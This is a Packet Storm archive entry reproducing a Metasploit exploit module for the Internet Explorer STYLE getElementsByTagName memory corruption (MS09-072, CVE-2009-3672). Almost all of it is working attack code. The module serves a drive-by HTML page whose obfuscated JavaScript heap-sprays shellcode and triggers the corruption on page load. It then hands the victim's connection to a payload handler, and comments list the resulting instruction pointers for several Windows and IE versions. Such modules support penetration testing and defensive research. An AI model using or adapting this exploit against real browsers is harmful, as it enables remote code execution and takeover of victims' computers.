Microsoft Internet Explorer Style getElementsByTagName Memory Corruption

2009-12-31T00:00:00
ID PACKETSTORM:84572
Type packetstorm
Reporter jduck
Modified 2009-12-31T00:00:00

Description

                                        
                                            `##  
# $Id: ms09_072_style_object.rb 7775 2009-12-09 15:06:26Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "7.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:vuln_test => nil, # no way to test without just trying it  
:rank => LowRanking # exploitable on ie7/vista  
})  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Internet Explorer Style getElementsByTagName Memory Corruption',  
'Description' => %q{  
This module exploits a vulnerability in the getElementsByTagName function  
as implemented within Internet Explorer.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'securitylab.ir <K4mr4n_st[at]yahoo.com>',  
'jduck'  
],  
'Version' => '$Revision: 7775 $',  
'References' =>  
[  
['MSB', 'MS09-072'],  
['CVE', '2009-3672'],  
['OSVDB', '50622'],  
['BID', '37085'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/977981.mspx'],  
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'HTTP::compression' => 'gzip',  
'HTTP::chunked' => true  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'Compat' =>  
{  
'ConnectionType' => '-find',  
},  
'StackAdjustment' => -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { }],  
],  
'DisclosureDate' => 'Nov 20 2009',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
  
# resulting eips:  
# 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203)  
# 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848)  
# nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13)  
# 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470)  
# 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825)  
  
print_status("Entering heap spray mode for #{cli.peerhost}:#{cli.peerport}")  
  
var_memory = rand_text_alpha(rand(100) + 1)  
var_boom = rand_text_alpha(rand(100) + 1)  
var_body = rand_text_alpha(rand(100) + 1)  
var_unescape = rand_text_alpha(rand(100) + 1)  
var_shellcode = rand_text_alpha(rand(100) + 1)  
var_spray = rand_text_alpha(rand(100) + 1)  
var_start = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(100) + 1)  
var_ss = rand_text_alpha(rand(100) + 1)  
var_fb = rand_text_alpha(rand(100) + 1)  
var_bk = rand_text_alpha(rand(100) + 1)  
  
html = %Q|<!DOCTYPE>  
<head>  
<script language=javascript>  
function #{var_boom}(){ document.getElementsByTagName('STYLE')[0].outerHTML++; }  
function #{var_body}(){  
var #{var_unescape} = unescape;  
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');  
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );  
var #{var_ss} = 20 + #{var_shellcode}.length;  
while (#{var_spray}.length < #{var_ss}) #{var_spray}+=#{var_spray};  
#{var_fb} = #{var_spray}.substring(0,#{var_ss});  
#{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss});  
while(#{var_bk}.length+#{var_ss} < 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb};  
var #{var_memory} = new Array();  
for (#{var_i}=0;#{var_i}<1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode};  
#{var_boom}();  
}  
</script>  
<STYLE>* { margin: 0; overflow: scroll }</STYLE>  
<BODY ONLOAD="#{var_body}()">  
</body>  
</html>  
|  
  
# Transmit the response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })  
  
# Handle the payload  
handler(cli)  
end  
end  
  
`